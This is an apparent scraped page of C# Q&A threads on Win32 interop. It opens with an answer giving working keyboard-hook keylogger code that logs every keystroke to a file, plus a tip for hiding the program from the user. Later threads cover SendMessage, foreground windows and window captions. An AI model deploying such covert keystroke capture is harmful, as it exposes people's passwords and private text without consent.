I have an University project which requires to create some sort of keylogger with c#, I mean to get all the keyboard inputs from the user and put them in a file, the input which in this case is a text needs also to be encrypted. This application need to be a windows service, I'm new to windows services but I have successfully managed to create a windows service using Visual Studio 2015.The problem now is at the keylogger, I've searched for quite a long now but most keyloggers I've seen have been developed using windows forms and not windows services. I have this function:
protected override void OnStart(string[] args)
{
System.IO.File.Create(AppDomain.CurrentDomain.BaseDirectory + "OnStart.txt");
}
What I have done here is that when the service starts it creates a new .txt file called Output at the directory of the application where all the inputs of the user are going to be saved or recorded.
Could someone help me or redirect me somewhere so I could create a simple keylogger using a windows service? I've managed to create a keylogger with windows forms using a timer which would save the data every second but using a windows service seems to be a bit hard for me.
From this question it looks like it may not be possible to do from a service, for security reasons.
However, you could create a program which uses keybaord hooks and does not display any console or windows, meaning it will be hidden from the user (just like a service would).
To do this, first declare some fields:
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
Then import these native methods:
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook,
LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
Create these methods, where HookCallback will handle any detected key presses (so write to file here uder the comment)
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
var keyName = Enum.GetName(typeof(Keys), vkCode);
var path = #"C:\test\logfile.txt";
// Handle the key press here
var text = ((Keys)vkCode).ToString();
File.AppendAllText(path, text);
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
SetHook basically subscribes to the keyboard hook for us:
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}
Finally, add these lines to your Main method:
_hookID = SetHook(_proc);
Application.Run();
UnhookWindowsHookEx(_hookID);
Now to make the program invisible, simply change the Output Type property to a Windows Application instead of a Console Application.
I hope this is helpul to you
Related
Im trying to understand the SendMessage function and here's my actual code:
[DllImport("user32.dll")]
public static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll")]
private static extern IntPtr FindWindowEx(IntPtr parentHandle, IntPtr childAfter, string className, string windowTitle);
static void Main(string[] args)
{
Process test = Process.GetProcessesByName("calc")[0];
IntPtr hwndChild = FindWindowEx(test.MainWindowHandle, IntPtr.Zero, "Button", "2");
SendMessage(hwndChild, 245, IntPtr.Zero, IntPtr.Zero);
Console.ReadKey();
}
Very simple, I just want to click the calc button 2, but I'm having no success.
Error checking is never optional when you pinvoke winapi functions. It is a C api, it doesn't throw exceptions to keep you out of trouble. You'll have to do that by yourself. Proper code looks like this:
[DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern IntPtr FindWindowEx(IntPtr parentHandle, IntPtr childAfter,
string className, string windowTitle);
...
IntPtr hwndChild = FindWindowEx(test.MainWindowHandle, IntPtr.Zero, "Button", "2");
if (hwndChild == IntPtr.Zero) throw new System.ComponentModel.Win32Exception();
Now you know why your program doesn't work. Next thing you'd do is fire up the Spy++ utility and have a look-see at the calculator window. You'll discover that you have to make more FindWindowEx() calls to drill down to the nested button.
Do consider using a UI Automation library to do this.
I am using the following SendMessage function to send/paste text to a different application.
But in that function I have to give the name of the window from the other application.
How can I change this to get the current active window and paste in the code there?
Code:
[DllImport("user32.dll")]
public static extern int SendMessage(int hWnd, int msg, int wParam, [MarshalAs(UnmanagedType.LPStr)] string lParam);
[DllImport("user32.dll", SetLastError = true)]
static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
[DllImport("user32.dll", SetLastError = true)]
static extern IntPtr FindWindowEx(IntPtr hwndParent, IntPtr hwndChildAfter, string lpszClass, string lpszWindow);
public const int WM_PASTE = 0x0302;
IntPtr windowHandle = FindWindow("NOTEPAD", null);
IntPtr editHandle = FindWindowEx(windowHandle, IntPtr.Zero, "EDIT", null);
string textToSendToFile = "Input here your text";
Clipboard.SetText("Test");
SendMessage((int)editHandle, WM_PASTE, 0, textToSendToFile);
I also got this but I do not really know how to combine this with the code above...
[DllImportAttribute("user32.dll", EntryPoint = "GetForegroundWindow")]
public static extern IntPtr GetForegroundWindow();
[DllImportAttribute("user32.dll", EntryPoint = "GetWindowThreadProcessId")]
public static extern uint GetWindowThreadProcessId([InAttribute()] IntPtr hWnd, IntPtr lpdwProcessId);
IntPtr hWndForegroundWindow = GetForegroundWindow();
uint activeThreadID = GetWindowThreadProcessId(hWndForegroundWindow, IntPtr.Zero);
The WM_PASTE message does not use the parameters. It's just an instruction to the recipient to take the contents of the clipboard and paste them. So if you wish the recipient to do anything, you'll need to populate the clipboard first.
If you don't wish to pollute the clipboard, and you should not since it belongs to the user, then you can send an EM_REPLACESEL message passing the text in lParam.
If you want to find the window which the user is currently working on, use GetForegroundWindow.
However, rather than faking low level messages, best of all would be to use the automation API.
Greetings
I'm using the following code to get the active process.
[DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true, CallingConvention = CallingConvention.Winapi)]
public extern short GetKeyState(int keyCode);
[DllImport("user32.dll")]
private extern Int32 GetWindowThreadProcessId(
IntPtr hWnd, out uint lpdwProcessId);
[DllImport("user32.dll")]
private extern IntPtr GetForegroundWindow();
private Process GetProcessByHandle(IntPtr hwnd)
{
try
{
uint processID;
GetWindowThreadProcessId(hwnd, out processID);
return Process.GetProcessById((int)processID);
}
catch { return null; }
}
private Process GetActiveProcess()
{
IntPtr hwnd = GetForegroundWindow();
return hwnd != null ? GetProcessByHandle(hwnd) : null;
}
I was wondering if with this, or any other code, I could get the active URL / Tab of any webbrowser when GetActiveProcess returns a webbrowser as active process?
Greetings
Found my answer at Retrieve current URL from C# windows forms application . Which does get the url for google chrome (My most used broswer) but fails at internet explorer.
If anyone wishes to help on that it would be lovely.. but as I have it now it's good enough!
i've developed a simple application (.dll) in LABVIEW and i implorted that dll to a C# windows application(Winforms) . Like
[DllImport(#".\sample.dll")]
public static extern void MyFunc(char[] a, StringBuilder b ,Int32 c);
so when i call the function MyFunc a window will be popped up( the Lab View window( Front panel of my labview application
i need to get the window name (ExpectedFuncName) in my C# application. i.e i need to get the name of the external window which is opend by my C# application. Can we use FileVersionInfo or assembly loader to get the name?
Is there any idea to do this?
Thanks in advance.
If you have the window handle, this is relatively easy:
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
[DllImport("user32.dll", SetLastError=true, CharSet=CharSet.Auto)]
static extern int GetWindowTextLength(IntPtr hWnd);
...
int len;
// Window caption
if ((len = GetWindowTextLength(WindowHandle)) > 0) {
sb = new StringBuilder(len + 1);
if (GetWindowText(WindowHandle, sb, sb.Capacity) == 0)
throw new Exception(String.Format("unable to obtain window caption, error code {0}", Marshal.GetLastWin32Error()));
Caption = sb.ToString();
}
Here, 'WindowHandle' is the handle of the created window.
In the case you do not have a window handle (I see you don't), you have to enumerate every desktop top-level window, filter them by the creating process (I see the window is created by you application by calling MyFunc, so you know the process ID [*]), and then use some heuristic to determine the required information.
Here is the C# import of the functions you shall use in the case you do not have the handle:
[DllImport("user32.dll", ExactSpelling = true, SetLastError = true)]
static extern int GetWindowThreadProcessId(IntPtr hWnd, out int lpdwProcessId);
[DllImport("user32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam);
private delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam);
Basically EnumWindows calls EnumWindowsProc for each window found in the current desktop. So you can get the window caption.
List<string> WindowLabels = new List<string>();
string GetWindowCaption(IntPtr hWnd) { ... }
bool MyEnumWindowsProc(IntPtr hWnd, IntPtr lParam) {
int pid;
GetWindowThreadProcessId(hWnd, out pid);
if (pid == Process.GetCurrentProcess().Id) {
// Window created by this process -- Starts heuristic
string caption = GetWindowCaption(hWnd);
if (caption != "MyKnownMainWindowCaption") {
WindowLabels.Add(caption);
}
}
return (true);
}
void DetectWindowCaptions() {
EnumWindows(MyEnumWindowsProc, IntPtr.Zero);
foreach (string s in WindowLabels) {
Console.WriteLine(s);
}
}
[*] In the case the window is not created by your application (i.e but from another background process), you shall filter the values returned by GetWindowThreadProcessId using another process ID, but this requires another question...
If you activate LabVIEW scripting (LabVIEW 2010), or install it (LV 8.6, 2009) there is a front-panel property called 'FP.nativewindow'. This returns a handle to the front panel window.
Use the following snippet to get the property:
I have a C# application that uses the SendMessage pinvoke method to send a "close window" message (WM_CLOSE / 16) to various windows outside the application. This works great, except when the window in question is a Windows Explorer window. I do not get an exception, but the window does not close.
Here's the signature:
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = false)]
internal static extern IntPtr SendMessage(HandleRef hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
Is there a different message that I need to send to Windows Explorer windows? Or an alternate way to accomplish this?
an alternative solution would be to use PostMessage win API call instead of SendMessage, below is an example which worked fine for me (I'm using winXP sp3):
[DllImport("user32.dll", SetLastError = true)]
static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
[DllImport("user32.Dll")]
public static extern int PostMessage(IntPtr hWnd, UInt32 msg, int wParam, int lParam);
private const UInt32 WM_CLOSE = 0x0010;
...
IntPtr hWnd = FindWindow("ExploreWClass", null);
if (hWnd.ToInt32()!=0) PostMessage(hWnd, WM_CLOSE, 0, 0);
differences between PostMessage and SendMessage api call are described here: http://msdn.microsoft.com/en-us/magazine/cc301431.aspx